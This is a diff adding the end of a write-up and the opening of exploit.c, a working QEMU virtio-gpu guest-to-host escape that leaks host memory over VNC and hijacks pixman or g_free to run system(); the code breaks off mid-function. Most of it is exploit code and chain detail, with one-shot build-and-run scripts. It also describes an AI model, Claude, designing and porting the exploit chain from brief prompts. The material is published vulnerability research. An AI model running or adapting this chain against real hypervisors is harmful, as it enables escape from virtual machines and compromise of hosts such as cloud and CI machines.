+QEMU's default user-mode networking stack, SLIRP, makes the host reachable from the guest at `10.0.2.2`. So the guest opens a TCP socket to `10.0.2.2:5900` (its own host's VNC port, reached through QEMU's own emulated NIC), sends a `FramebufferUpdateRequest`, and QEMU's VNC server politely serialises a region of its own heap as pixel bytes back over the socket. + +A `FramebufferUpdateRequest` returns `width × height × 4` bytes, so reads are 16 KB pages at scan time and 256 bytes for targeted lookups. Encoding host memory as pixels has the lovely side effect that there is no protocol-level interpretation, no parser, no escaping; every byte of the address range comes back unmangled, just slightly fewer per second than you'd like. + +From the read primitive it's a fairly textbook macOS arm64 chain. Scan forward 16 KB at a time looking for Mach-O headers; identify pixman by `sizeofcmds`; read `GOT[free]` to derive the shared cache slide; compute `system()`. Plant a fake `pixman_implementation_t` whose `fast_paths` array has a wildcard entry whose `func` is `system()`. The implementation pointer is the first argument to `func` on arm64, so we put the command string at offset 0 of the same struct and let it serve double duty. Two more OOB writes neutralise pixman's TLS fast-path cache and overwrite `_global_implementation`. A final `RESOURCE_FLUSH` triggers a VNC composite, pixman walks our fake chain, the wildcard matches, `system()` runs. + +The command string has to fit in 15 bytes (the `fast_paths` pointer lives at offset `0x10`), so `open -a Calculator` is too long. `open /*/*/Calc*` is exactly 15, and `/bin/sh` expands the glob to `/System/Applications/Calculator.app`. (Our first attempt, `/S*/A*/Ca*`, also matched `Calendar.app`, which made for a less convincing demo.) Self-contained, no host-side files, no network egress, just a guest VM and the patience to wait through three Phase outputs. + +UTM adds one more twist. Its QEMU allocates virtio-gpu pixel buffers through `qemu_pixman_image_new_shareable`, which is `memfd` + `mmap` rather than `malloc`, so the exploit buffer lands in an address-space hole between UTM's twenty-odd bundled frameworks instead of out in the large-object heap. dyld shuffles those frameworks on every launch, and on a meaningful fraction of boots pixman (2.4 MB, one of the smallest) ends up at a *lower* address than the first hole big enough for our buffer. The OOB write only reaches forward, so pixman's `_global_implementation` is then physically behind us and the hijack above cannot land. + +The fallback is to target QEMU itself. Its image is a 29 MB block, large enough that the buffer essentially never lands above it, so the scan carries a second fingerprint table for QEMU's `__TEXT` and derives `system()` from QEMU's GOT instead. The control-flow hijack moves to QEMU's `__la_symbol_ptr[g_free]` (writable, ~70 MB forward, comfortably in range): one OOB write points it at `system()`, and the trigger is a deliberately short `RESOURCE_ATTACH_BACKING` whose entry bytes spell the shell command. `virtio_gpu_create_mapping_iov` `g_malloc`s a scratch buffer, copies our bytes in verbatim, fails the length check, and on the error path calls `g_free(ents)`, which is now `system("open -a Calculator")`. A nice side effect is that this path has no 15-byte limit; the command can be as long as a virtqueue descriptor. + +The chain needs the guest to reach a VNC server. That is the default almost everywhere headless QEMU runs: Proxmox, libvirt's stock ``, OpenStack, every CI runner that boots VMs with `-vnc :0`. On UTM it is non-default, and requires a one line config `-vnc :0`. The bug itself is present in every UTM install regardless. + +## Reproduce + +Everything lives in [`/qemu/`](qemu) in the repo: + +| File | What | +|---|---| +| [`WRITEUP.md`](WRITEUP.md) | Full technical advisory | +| [`exploit.c`](exploit.c) | Standalone QEMU PoC (homebrew pixman, no SPICE) | +| [`exploit_utm.c`](exploit_utm.c) | SPICE-safe UTM.app variant | +| [`exploit_linux.c`](exploit_linux.c) | Linux aarch64 host variant | +| [`run_poc_macos.sh`](run_poc_macos.sh) | One-shot: build vulnerable QEMU 10.0.2 + HVF, build exploit, pop calc | +| [`run_poc_linux.sh`](run_poc_linux.sh) | Same, Linux host | +| [`run_poc_utm.sh`](run_poc_utm.sh) | UTM.app VM provisioner | + +```bash +./run_poc_macos.sh # ~5 min: install deps, build QEMU 10.0.2, build exploit +./run_poc_macos.sh run # ~30 sec from boot to calc +``` + +## Conclusion + +One thing we do not know is how Claude arrived at the bug. Our first prompt asked it to diff UTM's QEMU against upstream, and the fix commit was already public; it is possible the model spotted `c035d5ea` and worked backward, and equally possible it audited `virtio-gpu.c` cold and rediscovered the overflow on its own. We cannot tell from the transcript, and either answer is uncomfortable: one means a frontier model can mine patch diffs into working escapes faster than downstreams can ship the patch, the other means it can find the same bug ZDI paid for without being pointed at it. + +While the bug is a simple integer overflow, the exploit is, as far as we know, the first documented case of AI doing creative *exploit primitive design*: wiring three unrelated QEMU subsystems (virtio-gpu, the VNC server, SLIRP loopback) into a leak nobody had published before. + +From there it ported the chain to Linux aarch64, rebuilt it as a SPICE-safe UTM variant after we reported the original crashed under UTM's display-refresh thread, pivoted from "overwrite `GOT[free]`" to writable BSS when macOS chained-fixups turned out to make the GOT read-only, and added the QEMU-`g_free` fallback when ASLR put pixman behind the buffer. None of those pivots involved a human pointing at the answer; the [full prompt log](WRITEUP.md#conversation-prompts) is a dozen one-liners. + +However, Claude hasn't (re)discovered fancy tricks such as KMART or MHST[^1] for this exploit, so the superhumans among us still have some edge over it. At least for now. + +[^1]: Kortchinsky-Midturi ARM ROP Technique and Midturi Heap Spray Technique. Legendary exploitation techniques invented by the MSRC and SWI Pentest team fifteen or so years ago. CC [@crypt0ad](https://x.com/crypt0ad) diff --git a/MADBugs/qemu/exploit.c b/MADBugs/qemu/exploit.c new file mode 100644 index 0000000..ef97c2f --- /dev/null +++ b/MADBugs/qemu/exploit.c @@ -0,0 +1,1360 @@ +/* + * exploit.c — Guest-to-host code execution PoC for QEMU virtio-gpu + * calc_image_hostmem integer overflow (Findings 2 + 3). + * + * Discovers all host addresses at runtime from the guest via VNC + * info leak (Finding 3: OOB set_scanout reads host memory as pixels, + * guest reads them back through QEMU's VNC server). + * + * No QEMU source modifications required. + * + * Build (statically, for use in minimal guest): + * aarch64-linux-musl-gcc -static -O2 -o exploit exploit.c + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---------- virtio-gpu protocol structures ---------- */ + +#define VIRTIO_GPU_CMD_GET_DISPLAY_INFO 0x0100 +#define VIRTIO_GPU_CMD_RESOURCE_CREATE_2D 0x0101 +#define VIRTIO_GPU_CMD_RESOURCE_UNREF 0x0102 +#define VIRTIO_GPU_CMD_SET_SCANOUT 0x0103 +#define VIRTIO_GPU_CMD_RESOURCE_FLUSH 0x0104 +#define VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D 0x0105 +#define VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING 0x0106 + +#define VIRTIO_GPU_RESP_OK_NODATA 0x1100 +#define VIRTIO_GPU_RESP_OK_DISPLAY_INFO 0x1101 + +#define VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM 1 + +struct virtio_gpu_ctrl_hdr { + uint32_t type; + uint32_t flags; + uint64_t fence_id; + uint32_t ctx_id; + uint8_t ring_idx; + uint8_t padding[3]; +} __attribute__((packed)); + +struct virtio_gpu_rect { + uint32_t x, y, width, height; +}; + +struct virtio_gpu_resource_create_2d { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t format; + uint32_t width; + uint32_t height; +}; + +struct virtio_gpu_resource_attach_backing { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t nr_entries; +}; + +struct virtio_gpu_mem_entry { + uint64_t addr; + uint32_t length; + uint32_t padding; +}; + +struct virtio_gpu_transfer_to_host_2d { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint64_t offset; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_set_scanout { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t scanout_id; + uint32_t resource_id; +}; + +struct virtio_gpu_resource_flush { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_resource_unref { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t padding; +}; + +/* ---------- Virtio PCI transport ---------- */ + +#define VIRTIO_PCI_VENDOR_ID 0x1af4 +#define VIRTIO_GPU_DEVICE_ID 0x1050 + +#define VIRTIO_PCI_COMMON_DFSELECT 0x00 +#define VIRTIO_PCI_COMMON_DF 0x04 +#define VIRTIO_PCI_COMMON_GFSELECT 0x08 +#define VIRTIO_PCI_COMMON_GF 0x0c +#define VIRTIO_PCI_COMMON_MSIX 0x10 +#define VIRTIO_PCI_COMMON_NUMQ 0x12 +#define VIRTIO_PCI_COMMON_STATUS 0x14 +#define VIRTIO_PCI_COMMON_CFGGENERATION 0x15 +#define VIRTIO_PCI_COMMON_Q_SELECT 0x16 +#define VIRTIO_PCI_COMMON_Q_SIZE 0x18 +#define VIRTIO_PCI_COMMON_Q_MSIX 0x1a +#define VIRTIO_PCI_COMMON_Q_ENABLE 0x1c +#define VIRTIO_PCI_COMMON_Q_NOFF 0x1e +#define VIRTIO_PCI_COMMON_Q_DESCLO 0x20 +#define VIRTIO_PCI_COMMON_Q_DESCHI 0x24 +#define VIRTIO_PCI_COMMON_Q_AVAILLO 0x28 +#define VIRTIO_PCI_COMMON_Q_AVAILHI 0x2c +#define VIRTIO_PCI_COMMON_Q_USEDLO 0x30 +#define VIRTIO_PCI_COMMON_Q_USEDHI 0x34 + +#define VIRTIO_STATUS_ACKNOWLEDGE 1 +#define VIRTIO_STATUS_DRIVER 2 +#define VIRTIO_STATUS_DRIVER_OK 4 +#define VIRTIO_STATUS_FEATURES_OK 8 + +struct vring_desc { + uint64_t addr; + uint32_t len; + uint16_t flags; + uint16_t next; +} __attribute__((packed)); + +#define VRING_DESC_F_NEXT 1 +#define VRING_DESC_F_WRITE 2 + +struct vring_avail { + uint16_t flags; + uint16_t idx; + uint16_t ring[]; +} __attribute__((packed)); + +struct vring_used_elem { + uint32_t id; + uint32_t len; +} __attribute__((packed)); + +struct vring_used { + uint16_t flags; + uint16_t idx; + struct vring_used_elem ring[]; +} __attribute__((packed)); + +/* ---------- Exploit parameters ---------- */ + +#define EXPLOIT_WIDTH 0x40000001U +#define EXPLOIT_HEIGHT 128U +#define EXPECTED_BUF 512U +#define RES_EXPLOIT 42 + +#define SPRAY_COUNT 800 +#define SPRAY_ID_START 100 + +/* VNC constants */ +#define VNC_HOST "10.0.2.2" +#define VNC_PORT 5900 + +/* Page-step scanout: ~16KB linear per VNC read */ +#define PAGE_SCAN_W 4096 +#define PAGE_SCAN_H 16 +#define PAGE_VNC_BYTES (PAGE_SCAN_W * PAGE_SCAN_H * 4) /* 262144 */ +#define PAGE_LINEAR (PAGE_SCAN_W * 4) /* 16384 */ +#define PAGE_SIZE 0x4000U /* 16384 */ + +/* Narrow scanout for targeted reads / writes */ +#define READ_W 64 +#define READ_H 16 +#define READ_VNC_BYTES (READ_W * READ_H * 4) /* 4096 */ +#define READ_LINEAR (READ_W * 4) /* 256 */ + +/* Scan every page for Mach-O headers (limited to safe OOB range) */ +#define SCAN_STEP 1 +#define SCAN_SAFE_PAGES 155 + +/* Pixman dylib fingerprint (libpixman-1.0.dylib arm64) */ +#define PIXMAN_SIZEOFCMDS 0x6B8U + +/* Pixman dylib layout (byte offsets from Mach-O header) */ +#define PIXMAN_GOT_FREE 0x78060U /* GOT slot: _free */ +#define PIXMAN_REBASE0 0x780D0U /* first __DATA_CONST __const rebase */ +#define PIXMAN_REBASE0_TGT 0x24E0U /* rebase target vmaddr in __TEXT */ +#define PIXMAN_TLS_THUNK 0x80020U /* _fast_path_cache TLS descriptor */ +#define PIXMAN_GLOBAL_IMP 0x801B8U /* _global_implementation (BSS) */ +#define PIXMAN_RET_GADGET 0x332F8U /* _dummy_composite_rect = ret */ +#define PIXMAN_END 0x84000U /* end of __DATA segment */ + +/* Unslid shared cache addresses (macOS 15.x arm64) */ +#define FREE_UNSLID 0x1802E36B8ULL +#define SYSTEM_UNSLID 0x1803F4438ULL + +/* pixman fast_path_t wildcard values (verified from disassembly) */ +#define PIXMAN_OP_ANY_VAL 0x40U +#define PIXMAN_OP_NONE_VAL 0x3FU +#define PIXMAN_FMT_ANY_VAL 0x50000U + +/* ---------- Raw virtio transport ---------- */ + +static volatile void *common_cfg; +static volatile void *notify_base; +static uint32_t notify_off_multiplier; +static uint16_t queue_notify_off; + +static void *vq_pages; +static struct vring_desc *descs; +static struct vring_avail *avail; +static struct vring_used *used; +static uint64_t desc_pa, avail_pa, used_pa; +static uint16_t vq_size; +static uint16_t avail_idx; +static uint16_t used_last; + +static void *cmd_region; +static uint64_t cmd_region_pa; +static void *resp_region; +static uint64_t resp_region_pa; +static void *data_region; +static uint64_t data_region_pa; + +static inline void write8(volatile void *addr, uint8_t val) { *(volatile uint8_t *)addr = val; } +static inline void write16(volatile void *addr, uint16_t val) { *(volatile uint16_t *)addr = val; } +static inline void write32(volatile void *addr, uint32_t val) { *(volatile uint32_t *)addr = val; } +static inline uint8_t read8(volatile void *addr) { return *(volatile uint8_t *)addr; } +static inline uint16_t read16(volatile void *addr) { return *(volatile uint16_t *)addr; } +static inline uint32_t read32(volatile void *addr) { return *(volatile uint32_t *)addr; } + +static void kick_queue(void) +{ + __sync_synchronize(); + write16(notify_base + queue_notify_off * notify_off_multiplier, 0); +} + +static int vq_send_cmd(void *cmd, uint32_t cmd_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = resp_region_pa; + descs[1].len = resp_len; + descs[1].flags = VRING_DESC_F_WRITE; + descs[1].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int vq_send_cmd_data(void *cmd, uint32_t cmd_len, + void *extra, uint32_t extra_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memcpy(data_region, extra, extra_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = data_region_pa; + descs[1].len = extra_len; + descs[1].flags = VRING_DESC_F_NEXT; + descs[1].next = 2; + + descs[2].addr = resp_region_pa; + descs[2].len = resp_len; + descs[2].flags = VRING_DESC_F_WRITE; + descs[2].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int find_virtio_gpu_pci(char *path, size_t pathlen) +{ + DIR *d = opendir("/sys/bus/pci/devices"); + struct dirent *ent; + char buf[256]; + int fd; + uint32_t vendor, device; + + if (!d) return -1; + + while ((ent = readdir(d)) != NULL) { + if (ent->d_name[0] == '.') continue; + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/vendor", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char vbuf[16] = {}; + read(fd, vbuf, sizeof(vbuf)-1); + close(fd); + vendor = strtoul(vbuf, NULL, 0); + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/device", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char dbuf[16] = {}; + read(fd, dbuf, sizeof(dbuf)-1); + close(fd); + device = strtoul(dbuf, NULL, 0); + + if (vendor == VIRTIO_PCI_VENDOR_ID && + (device == VIRTIO_GPU_DEVICE_ID || device == 0x1010)) { + snprintf(path, pathlen, "/sys/bus/pci/devices/%s", ent->d_name); + closedir(d); + return 0; + } + } + closedir(d); + return -1; +} + +static uint64_t virt_to_phys(void *vaddr) +{ + int fd = open("/proc/self/pagemap", O_RDONLY); + if (fd < 0) return 0; + + uint64_t vpn = (uint64_t)vaddr / 4096; + uint64_t entry; + if (pread(fd, &entry, 8, vpn * 8) != 8) { + close(fd); + return 0; + } + close(fd); + + if (!(entry & (1ULL << 63))) return 0; + uint64_t pfn = entry & ((1ULL << 55) - 1); + return pfn * 4096 + ((uint64_t)vaddr & 0xFFF); +} + +static void *map_bar(const char *pci_path, int bar_idx, size_t *out_size) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/resource%d", pci_path, bar_idx); + + int fd = open(path, O_RDWR | O_SYNC); + if (fd < 0) { + printf(" Cannot open %s: %s\n", path, strerror(errno)); + return NULL; + } + + off_t size = lseek(fd, 0, SEEK_END); + if (size <= 0) { close(fd); return NULL; } + + void *map = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + close(fd); + if (map == MAP_FAILED) return NULL; + + if (out_size) *out_size = size; + return map; +} + +static int parse_virtio_caps(const char *pci_path) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/config", pci_path); + + int fd = open(path, O_RDWR); + if (fd < 0) { + printf(" Cannot open PCI config: %s\n", strerror(errno)); + return -1; + } + + uint8_t cap_ptr; + pread(fd, &cap_ptr, 1, 0x34); + + int common_bar = -1, common_offset = 0; + int notify_bar = -1, notify_offset = 0; + + while (cap_ptr) { + uint8_t cap_id, cap_next; + pread(fd, &cap_id, 1, cap_ptr); + pread(fd, &cap_next, 1, cap_ptr + 1); + + if (cap_id == 0x09) { + uint8_t cfg_type, bar; + uint32_t offset, length; + pread(fd, &cfg_type, 1, cap_ptr + 3); + pread(fd, &bar, 1, cap_ptr + 4); + pread(fd, &offset, 4, cap_ptr + 8); + pread(fd, &length, 4, cap_ptr + 12); + + if (cfg_type == 1) { + common_bar = bar; + common_offset = offset; + printf(" Common config: BAR%d offset=0x%x len=0x%x\n", + bar, offset, length); + } else if (cfg_type == 2) { + notify_bar = bar; + notify_offset = offset; + pread(fd, ¬ify_off_multiplier, 4, cap_ptr + 16); + printf(" Notify: BAR%d offset=0x%x multiplier=%u\n", + bar, offset, notify_off_multiplier); + } + } + cap_ptr = cap_next; + } + close(fd); + + if (common_bar < 0 || notify_bar < 0) { + printf(" Missing virtio PCI capabilities\n"); + return -1; + } + + size_t bar_size; + void *bar_map = map_bar(pci_path, common_bar, &bar_size); + if (!bar_map) { + printf(" Failed to map BAR%d\n", common_bar); + return -1; + } + common_cfg = (uint8_t *)bar_map + common_offset; + + if (notify_bar == common_bar) { + notify_base = (uint8_t *)bar_map + notify_offset; + } else { + void *nbar = map_bar(pci_path, notify_bar, NULL); + if (!nbar) return -1; + notify_base = (uint8_t *)nbar + notify_offset; + } + + return 0; +} + +static int setup_virtqueue(void) +{ + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SELECT, 0); + __sync_synchronize(); + + vq_size = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SIZE); + queue_notify_off = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_NOFF); + + printf(" Queue 0: size=%u notify_off=%u\n", vq_size, queue_notify_off); + + if (vq_size == 0 || vq_size > 256) { + printf(" Bad queue size\n"); + return -1; + } + + size_t total = 16 * 4096; + vq_pages = mmap(NULL, total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED, -1, 0); + if (vq_pages == MAP_FAILED) { + printf(" mmap failed: %s\n", strerror(errno)); + return -1; + } + memset(vq_pages, 0, total); + mlock(vq_pages, total); + + for (size_t i = 0; i < total; i += 4096) + ((volatile char *)vq_pages)[i] = 0; + + descs = (struct vring_desc *)((uint8_t *)vq_pages + 0 * 4096); + avail = (struct vring_avail *)((uint8_t *)vq_pages + 2 * 4096); + used = (struct vring_used *)((uint8_t *)vq_pages + 3 * 4096); + cmd_region = (uint8_t *)vq_pages + 4 * 4096; + resp_region = (uint8_t *)vq_pages + 5 * 4096; + data_region = (uint8_t *)vq_pages + 6 * 4096; + + desc_pa = virt_to_phys(descs); + avail_pa = virt_to_phys(avail); + used_pa = virt_to_phys(used); + cmd_region_pa = virt_to_phys(cmd_region); + resp_region_pa = virt_to_phys(resp_region); + data_region_pa = virt_to_phys(data_region); + + if (!desc_pa || !avail_pa || !used_pa || + !cmd_region_pa || !resp_region_pa || !data_region_pa) { + printf(" Cannot determine physical addresses (need root + pagemap)\n"); + return -1; + } + + avail_idx = 0; + used_last = 0; + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCLO, desc_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCHI, desc_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILLO, avail_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILHI, avail_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDLO, used_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDHI, used_pa >> 32); + + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_ENABLE, 1); + __sync_synchronize(); + + return 0; +} + +static int init_virtio_device(const char *pci_path) +{ + printf("[*] Initializing virtio device at %s\n", pci_path); + + if (parse_virtio_caps(pci_path)) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, 0); + __sync_synchronize(); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE); + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER); + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_DFSELECT, 0); + __sync_synchronize(); + uint32_t features = read32((void *)common_cfg + VIRTIO_PCI_COMMON_DF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GFSELECT, 0); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GF, features); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK); + __sync_synchronize(); + + uint8_t status = read8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS); + if (!(status & VIRTIO_STATUS_FEATURES_OK)) { + printf(" Features negotiation failed\n"); + return -1; + } + + if (setup_virtqueue()) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK | VIRTIO_STATUS_DRIVER_OK); + __sync_synchronize(); + + printf("[+] Virtio device initialized\n\n"); + return 0; +} + +/* ---------- Exploit GPU commands ---------- */ + + +static int cmd_create_resource(uint32_t res_id, uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_create_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D, + .resource_id = res_id, + .format = VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM, + .width = w, + .height = h, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) { + printf(" FAILED: resp=0x%x\n", resp.type); + return -1; + } + return 0; +} + +static int cmd_set_scanout(uint32_t res_id, uint32_t x, uint32_t y, + uint32_t w, uint32_t h) +{ + struct virtio_gpu_set_scanout cmd = { + .hdr.type = VIRTIO_GPU_CMD_SET_SCANOUT, + .r = { .x = x, .y = y, .width = w, .height = h }, + .scanout_id = 0, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_resource_flush(uint32_t res_id, uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_flush cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_FLUSH, + .r = { .x = 0, .y = 0, .width = w, .height = h }, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp)); +} + +static int cmd_attach_backing(uint32_t res_id) +{ + struct { + struct virtio_gpu_resource_attach_backing hdr; + } cmd = { + .hdr.hdr.type = VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING, + .hdr.resource_id = res_id, + .hdr.nr_entries = 1, + }; + struct virtio_gpu_mem_entry entry = { + .addr = data_region_pa, + .length = 4096, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + memset(data_region, 0, 4096); + + if (vq_send_cmd_data(&cmd, sizeof(cmd), &entry, sizeof(entry), + &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_transfer(uint32_t res_id, uint32_t rx, uint32_t ry, + uint32_t rw, uint32_t rh, uint64_t offset) +{ + struct virtio_gpu_transfer_to_host_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D, + .r = { .x = rx, .y = ry, .width = rw, .height = rh }, + .offset = offset, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_unref(uint32_t res_id) +{ + struct virtio_gpu_resource_unref cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_UNREF, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp)); +} + +/* ---------- Unbind existing driver ---------- */ + +static int unbind_existing_driver(const char *pci_path) +{ + char driver_link[512], driver_name[256]; + char unbind_path[512]; + ssize_t len; + + snprintf(driver_link, sizeof(driver_link), "%s/driver", pci_path); + len = readlink(driver_link, driver_name, sizeof(driver_name) - 1); + if (len < 0) { + printf("[*] No driver currently bound\n"); + return 0; + } + driver_name[len] = '\0'; + + char *base = strrchr(driver_name, '/'); + base = base ? base + 1 : driver_name; + printf("[*] Unbinding driver '%s'\n", base); + + const char *bdf = strrchr(pci_path, '/'); + bdf = bdf ? bdf + 1 : pci_path; + + snprintf(unbind_path, sizeof(unbind_path), "%s/driver/unbind", pci_path); + int fd = open(unbind_path, O_WRONLY); + if (fd < 0) { + printf(" Cannot open unbind: %s\n", strerror(errno)); + return -1; + } + write(fd, bdf, strlen(bdf)); + close(fd); + + usleep(100000); + printf(" [+] Driver unbound\n"); + return 0; +} + +/* ---------- Minimal VNC client ---------- */ + +static int vnc_fd = -1; + +static int recv_full(int fd, void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + ssize_t n = recv(fd, (uint8_t *)buf + done, len - done, 0); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) + return -2; + return -1; + } + if (n == 0) return -1; + done += n; + } + return 0; +} + +static int send_full(int fd, const void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + ssize_t n = send(fd, (const uint8_t *)buf + done, len - done, 0); + if (n <= 0) return -1; + done += n; + } + return 0; +} + +static int vnc_connect(void) +{ + vnc_fd = socket(AF_INET, SOCK_STREAM, 0); + if (vnc_fd < 0) return -1; + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(VNC_PORT), + }; + inet_pton(AF_INET, VNC_HOST, &addr.sin_addr); + + if (connect(vnc_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + close(vnc_fd); + vnc_fd = -1; + return -1; + } + + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + setsockopt(vnc_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + int nodelay = 1; + setsockopt(vnc_fd, IPPROTO_TCP, TCP_NODELAY, &nodelay, sizeof(nodelay)); + + char ver[12]; + if (recv_full(vnc_fd, ver, 12)) return -1; + if (send_full(vnc_fd, "RFB 003.008\n", 12)) return -1; + + uint8_t num_sec; + if (recv_full(vnc_fd, &num_sec, 1)) return -1; + uint8_t sec_types[256]; + if (recv_full(vnc_fd, sec_types, num_sec)) return -1; + + uint8_t chosen = 1; + if (send_full(vnc_fd, &chosen, 1)) return -1; + + uint32_t sec_result; + if (recv_full(vnc_fd, &sec_result, 4)) return -1; + if (sec_result != 0) return -1; + + uint8_t shared = 1; + if (send_full(vnc_fd, &shared, 1)) return -1; + + uint8_t server_init[24]; + if (recv_full(vnc_fd, server_init, 24)) return -1; + uint32_t name_len; + memcpy(&name_len, server_init + 20, 4); + name_len = ntohl(name_len); + char name[256] = {}; + if (name_len > 0 && name_len < sizeof(name)) { + if (recv_full(vnc_fd, name, name_len)) return -1; + } + + uint16_t fb_w, fb_h; + memcpy(&fb_w, server_init + 0, 2); + memcpy(&fb_h, server_init + 2, 2); + fb_w = ntohs(fb_w); + fb_h = ntohs(fb_h); + printf(" VNC connected: %ux%u \"%s\"\n", fb_w, fb_h, name); + + uint8_t spf[20] = {}; + spf[0] = 0; + spf[4] = 32; + spf[5] = 24; + spf[6] = 0; + spf[7] = 1; + spf[8] = 0; spf[9] = 0xff; + spf[10] = 0; spf[11] = 0xff; + spf[12] = 0; spf[13] = 0xff; + spf[14] = 16; + spf[15] = 8; + spf[16] = 0; + if (send_full(vnc_fd, spf, 20)) return -1; + + return 0; +} + +static int 